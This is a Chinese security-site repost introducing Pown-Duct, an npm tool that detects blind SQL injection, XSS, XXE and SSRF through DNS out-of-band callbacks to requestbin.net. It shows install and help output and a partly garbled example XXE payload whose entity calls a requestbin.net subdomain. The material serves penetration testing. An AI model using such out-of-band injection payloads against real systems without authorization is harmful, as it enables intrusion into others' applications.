欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Pown-Duct:一款功能强大的盲注攻击检测工具

来源:本站整理 作者:佚名 时间:2019-08-12 TAG: 我要投稿

今天给大家介绍的是一款名叫Pown-Duct的工具,该工具基于DNS测信道实现其功能,广大研究人员可以利用Pown-Duct来有效检测盲注攻击向量。
注意事项
该工具利是secapps.com开源计划的一部分。

该工具利用了http://requestbin.net/服务,之后的版本还将引入专用的自定义构建框架。
快速开始
该工具必须作为Pown.js的一部分来使用,但是也可以将其作为单独工具来调用。
请先使用下列命令安装Pown:
$ npm install -g pown@latest
从Pown直接调用:
$ pown duct
当然了,你也可以直接在项目根目录本地安装这个模块:
$ npm install @pown/duct –save
完成之后,调用pown命令行工具:
$ ./node_modules/.bin/pown-cli duct
你也可以使用全局pown来调用本地工具:
$POWN_ROOT=. pown duct
工具使用
pown duct command>
Side-channelattack enabler
Commands:
  pown duct dns DNS ducting
Options:
  --version Show version number  [boolean]
  --help    Show help  [boolean]
Pown-Duct DNS
pown duct dns
DNS ducting
Options:
  --version Show version number  [boolean]
  --help    Show help  [boolean]
  --channel Restore channel  [string]
  --output  Output format  [string] [choices:"string", "hexdump", "json"] [default:"string"]
工具指南
在某些情况下,我们需要执行类似SQL注入XSS、XXE或SSRF这样的攻击,但目标应用程序却没有“表现”出任何容易受到攻击的特征。因此,为了确定目标应用程序是否存在漏洞,并尝试注入有效的攻击向量,我们可以强制让DNS解析程序去请求控制域。如果解析成功,那么攻击就有可能实现了。
如果大家了解或者熟悉Burp Collaborator的话,可能就秒懂了,Pown-Duct提供的也是类似的功能。
首先,我们需要提供一个用于解析的一次性DNS域名:
$ pown duct dns

使用提供的DNS来构成我们的Payload。比如说,如果目标应用程序存在XXE漏洞的话,下列代码将会触发DNS解析操作:
http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net">
]>
foo>
&bar;
foo>
如果攻击成功,我们将会看到类似如下图所示的终端信息:

项目地址
 Pown-Duck:【GitHub传送门

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载